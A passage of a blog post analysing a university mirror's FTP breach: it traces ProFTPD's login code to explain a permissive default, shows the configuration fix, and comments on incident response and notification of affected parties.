&lt;li>&lt;code>r mirror&lt;/code>: local authenticated user, &lt;code>mirror&lt;/code>&lt;/li>
&lt;li>&lt;code>o&lt;/code>: outgoing transfer&lt;/li>
&lt;li>&lt;code>a&lt;/code>: anonymous guest user&lt;/li>
&lt;/ul>
&lt;h3 id="act-iv-damage-control">Act IV: Damage Control&lt;/h3>
&lt;p>The root cause of the breach is found:&lt;/p>
&lt;blockquote>
&lt;p>Upon investigating, zseguin realises that there is a compromising default set
by ProFTPD. It allows writes and logins by all users, by default.&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>&lt;/p>
&lt;/blockquote>
&lt;p>A user simply logged in to the mirror user and uploaded the malware to &lt;code>/home/mirror/&lt;/code> because nothing prevented them.&lt;/p>
&lt;p>The footnote states that this default was &amp;ldquo;determined through experimentation&amp;rdquo; leaving the proof as &amp;ldquo;an exercise for the reader.&amp;rdquo; So my &lt;del>hand&lt;/del> mind is forced; I must investigate.&lt;/p>
&lt;h4 id="a-footnote">A Footnote&lt;/h4>
&lt;p>Cloning the &lt;a href="https://github.com/proftpd/proftpd/">ProFTPD source code&lt;/a>, I head for the &lt;code>mod_auth&lt;/code> module which is responsible for the login process.&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> It&amp;rsquo;s source is available in &lt;a href="https://github.com/proftpd/proftpd/blob/99c82a5745e1622ecb17bf9fa153778e5f0fd3a5/modules/mod_auth.c">&lt;code>modules/mod_auth.c&lt;/code>&lt;/a> and, after various smaller functions, contains &lt;strong>&lt;q>the biggie&lt;/q>&lt;/strong>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* Next function (the biggie) handles all authentication, setting
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * up chroot() jail, etc.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="nf">setup_env&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pool&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cmd_rec&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">cmd&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">const&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">char&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This function clocks in at just over 1,000 lines, but is mostly linear and easy to read. The comments and logging statements also improve readability, but I&amp;rsquo;m only trying to answer the question of where the default lies, so I&amp;rsquo;ll liberally skip unrelated code.&lt;/p>
&lt;p>The first parts of this function handle the Anonymous, UserAlias, and RootLogin directives, and user, password, and group lookup errors, so let&amp;rsquo;s skip to &lt;a href="https://github.com/proftpd/proftpd/blob/99c82a5745e1622ecb17bf9fa153778e5f0fd3a5/modules/mod_auth.c#L1139">line 1139&lt;/a> of the file:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* If c != NULL from this point on, we have an anonymous login */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">aclp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">login_check_limits&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">main_server&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">conf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">FALSE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">TRUE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This call returns FALSE (&lt;code>0&lt;/code>) if any &lt;code>&amp;lt;Limit LOGIN&amp;gt;&lt;/code> directive matches, preventing the user from logging in, and TRUE (&lt;code>1&lt;/code>) otherwise. For a default configuration, this returns 1 since no &lt;code>&amp;lt;Limit LOGIN&amp;gt;&lt;/code> directives are present. Following the comment, I&amp;rsquo;ll exclude all blocks for anonymous logins. Proceeding on &lt;a href="https://github.com/proftpd/proftpd/blob/99c82a5745e1622ecb17bf9fa153778e5f0fd3a5/modules/mod_auth.c#L1187">line 1187&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">NULL&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">aclp&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">pr_log_auth&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PR_LOG_NOTICE&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;USER %s (Login failed): Limit access denies login&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">origuser&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">goto&lt;/span> &lt;span class="n">auth_failure&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">NULL&lt;/span> &lt;span class="o">||&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">anon_require_passwd&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="nb">NULL&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">anon_require_passwd&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">TRUE&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// ...
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This checks the previously set &lt;code>aclp&lt;/code> and then begins more checks nested inside of this check which we pass because &lt;code>c = NULL&lt;/code>. On &lt;a href="https://github.com/proftpd/proftpd/blob/99c82a5745e1622ecb17bf9fa153778e5f0fd3a5/modules/mod_auth.c#L1224">line 1224&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* It is possible for the user to have already been authenticated during
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * the handling of the USER command, as by an RFC2228 mechanism. If
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * that had happened, we won&amp;#39;t need to call do_auth() here.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="n">authenticated_without_pass&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">auth_code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">do_auth&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">?&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="nl">subset&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">main_server&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">conf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">user_name&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pass&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">auth_code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">PR_AUTH_OK_NO_PASS&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>By default, the login requires a password so &lt;code>do_auth&lt;/code> is called which, based on the configuration, will attempt authentication through any number of authentication modules. By default, this will include the &lt;code>mod_auth_unix&lt;/code> module which will authenticate through multiple Unix login mechanisms like &lt;code>/etc/shadow&lt;/code>. There&amp;rsquo;s no reason this fails by default so at this point we&amp;rsquo;re already essentially logged in, but let&amp;rsquo;s continue on to &lt;a href="https://github.com/proftpd/proftpd/blob/99c82a5745e1622ecb17bf9fa153778e5f0fd3a5/modules/mod_auth.c#L1247">line 1247&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="k">switch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">auth_code&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="nl">PR_AUTH_OK_NO_PASS&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">auth_pass_resp_code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">R_232&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="nl">PR_AUTH_OK&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">auth_pass_resp_code&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">R_230&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">case&lt;/span> &lt;span class="nl">PR_AUTH_NOPWD&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">pr_log_auth&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PR_LOG_NOTICE&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;USER %s (Login failed): No such user found&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">goto&lt;/span> &lt;span class="n">auth_failure&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// ...many more auth_failure cases omitted.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">default&lt;/span>&lt;span class="o">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* Catch the case where we forgot to handle a bad auth code above. */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">auth_code&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">goto&lt;/span> &lt;span class="n">auth_failure&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here we check for &lt;code>auth_code&lt;/code> which will be &lt;code>PR_AUTH_OK&lt;/code> and continue on to two important checks starting at &lt;a href="https://github.com/proftpd/proftpd/blob/99c82a5745e1622ecb17bf9fa153778e5f0fd3a5/modules/mod_auth.c#L1332">line 1332&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">pr_auth_is_valid_shell&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">?&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="nl">subset&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">main_server&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">conf&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pw&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">pw_shell&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">res&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">FALSE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">pr_log_auth&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PR_LOG_NOTICE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;USER %s (Login failed): Invalid shell: &amp;#39;%s&amp;#39;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">user&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">pw&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">pw_shell&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">goto&lt;/span> &lt;span class="n">auth_failure&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">pr_auth_banned_by_ftpusers&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">?&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="nl">subset&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">main_server&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">conf&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pw&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">pw_name&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">res&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">TRUE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">pr_log_auth&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PR_LOG_NOTICE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;USER %s (Login failed): User in &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PR_FTPUSERS_PATH&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">user&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">goto&lt;/span> &lt;span class="n">auth_failure&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The first check determines whether we have a valid shell or not. It takes into acount the value of the &lt;a href="http://proftpd.org/docs/modules/mod_auth.html#RequireValidShell">&lt;code>RequireValidShell&lt;/code> directive&lt;/a> which defaults to &lt;code>on&lt;/code>, so users are required to have a valid shell, and most users on a system do.&lt;/p>
&lt;p>The second check is based on a special legacy file which sits at &lt;code>/etc/ftpusers&lt;/code>. As the &lt;a href="http://proftpd.org/docs/modules/mod_auth.html#UseFtpUsers">&lt;code>UseFtpUsers&lt;/code> directive&lt;/a> explains, this is a list of users which are &lt;em>not&lt;/em> allowed to login to the FTP daemon. By default, this file is of course blank and so the check passes.&lt;/p>
&lt;p>Then there&amp;rsquo;s handling of some more directives and a few more checks depending on configuration but none that really affect the default. We reach the end:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cm">/* Authentication complete, user logged in, now kill the login
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * timer.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So the &lt;q>compromosing default&lt;/q> is true, mainly because ProFTPD relies on standard Unix authentication mechanisms and is &lt;em>designed&lt;/em> to allow all users who could login to the server normally to also do so over FTP and upload files to the server.&lt;/p>
&lt;h3 id="act-iv-damage-control-continued">Act IV: Damage Control (continued)&lt;/h3>
&lt;p>I would like to point out that, while the default in some sense &amp;ldquo;caused&amp;rdquo; the breach, I don&amp;rsquo;t think it&amp;rsquo;s an entirely bad default. Consider SSH for instance: all SSH servers that I know of, default to allowing all logins subject to similar checks as ProFTPD. You might say that this is an exception because the entire purpose of SSH is to &lt;em>remotely access&lt;/em> the server, but then what about sftp (OpenSSH secure file transfer)?&lt;/p>
&lt;p>ProFTPd&amp;rsquo;s documentation could use some work when it comes to default scenarios and mention more of the assumptions it makes because of the older FTP servers it is based off of. However, one should not be surprised that any daemon which relies on an external authentication mechanism &lt;em>trusts&lt;/em> that authentication mechanism. I also find the rest of its documentation regarding directives and modules to be very comprehensive; and, as mentioned, it&amp;rsquo;s code is quite readable, at least the parts I&amp;rsquo;ve read.&lt;/p>
&lt;p>To fix the breach, the diff below gets applied:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-diff" data-lang="diff">&lt;span class="line">&lt;span class="cl"> &amp;lt;Anonymous /mirror/root&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> # Limit WRITE everywhere in the anonymous chroot
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;Directory *&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;Limit WRITE&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> DenyAll
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;/Limit&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &amp;lt;/Directory&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ &amp;lt;Limit LOGIN&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ AllowAll
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ &amp;lt;/Limit&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">&lt;/span> &amp;lt;/Anonymous&amp;gt;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+&amp;lt;Limit LOGIN&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+ DenyAll
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gi">+&amp;lt;/Limit&amp;gt;
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This globally denies &lt;code>LOGIN&lt;/code> commands except in the anonymous mirror directory. I think this is a simple, robust fix — good properties when it comes to security changes.&lt;/p>
&lt;blockquote>
&lt;p>Private SSH keys stored in the “mirror” user’s home directory (used to update
from secured upstreams) are rotated. Emails are sent to relevant upstream
projects to notify them of the breach, and to invalidate the compromised SSH
keys and rsync passwords. The University’s Information Systems and Technology
Information Security Services Security Operations Center (IST SOC) is
notified of the breach, since it occurred on the campus network.&lt;/p>
&lt;/blockquote>
&lt;p>Once the breach is contained, I think this is the right step to take in incident response. While you could wait to implement more security measures and do more investigation, informing everyone affected as soon as possible makes sure they can follow their own incident response plans more effectively. Ultimately, even if unaffected, I think informing users is also important to let them make their own decisions about trusting your systems and services.&lt;/p>
&lt;p>When the MCPT judge was breached, our supervisor was informed the next morning and I published an incident report &lt;a href="https://github.com/mcpt/wlmoj-incidents/commit/81bdd70d29d56b73df277e9f689b7a01919377c4">publicly&lt;/a> before heading to bed the same night.&lt;/p>
&lt;blockquote>
&lt;p>Finally, five hours after the initial discovery of the breach at midnight,
the syscom members on duty could get some sleep.&lt;/p>
&lt;/blockquote>
&lt;p>And I hope they slept well, because they deserve it!&lt;/p>
&lt;p>Personally, I don&amp;rsquo;t recall if I was finally calm after getting everything resolved or worried about the potential consequences for the club&amp;hellip;&lt;/p>
&lt;h3 id="act-v-lessons-learned">ACT V: LESSONS LEARNED&lt;/h3>
&lt;blockquote>
&lt;p>When I woke up that morning (my first day back from vacation) and checked
IRC, my heart nearly stopped. This could have been catastrophic. An attacker
could have modified the sync scripts to compromise all the files we served
from our mirror.&lt;/p>
&lt;/blockquote>
&lt;p>And this is where I disagree. &lt;a href="https://fluix.one/blog/uwaterloo-mirror-hack-2">Read on in part 2&lt;/a>.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://archlinux.org/mirrors/tier/1/">https://archlinux.org/mirrors/tier/1/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://archlinux.org/mirrors/tier/2/">https://archlinux.org/mirrors/tier/2/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.investopedia.com/terms/f/ftp-file-transfer-protocol.asp">https://www.investopedia.com/terms/f/ftp-file-transfer-protocol.asp&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://lists.archlinux.org/archives/list/arch-dev-public@lists.archlinux.org/thread/QKZVK63V24T2VHSPKW2RICLCRNADBSDB/#BDUSRZG7JHZOCXVLG2BAC44TL6SAGNNG">https://lists.archlinux.org/archives/list/arch-dev-public@lists.archlinux.org/thread/QKZVK63V24T2VHSPKW2RICLCRNADBSDB/#BDUSRZG7JHZOCXVLG2BAC44TL6SAGNNG&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://wiki.archlinux.org/index.php?title=DeveloperWiki:NewMirrors&amp;amp;diff=357525&amp;amp;oldid=357519">https://wiki.archlinux.org/index.php?title=DeveloperWiki:NewMirrors&amp;amp;diff=357525&amp;amp;oldid=357519&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>I do not know if this is the case with &lt;code>potassium-benzonate&lt;/code>.&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;code>chroot(2)&lt;/code> explicitly states &amp;ldquo;it is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls.&amp;rdquo;&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="http://www.proftpd.org/docs/howto/Limit.html">http://www.proftpd.org/docs/howto/Limit.html&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>I&amp;rsquo;ve removed the first few components of the logs, aligned the flags after the filename, shortened paths, and fixed some missing underscore characters corresponding to the &lt;code>special-action-flag&lt;/code>.&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>Determined through experimentation, proof left as an exercise for the
reader&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="http://www.proftpd.org/docs/modules/">http://www.proftpd.org/docs/modules/&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
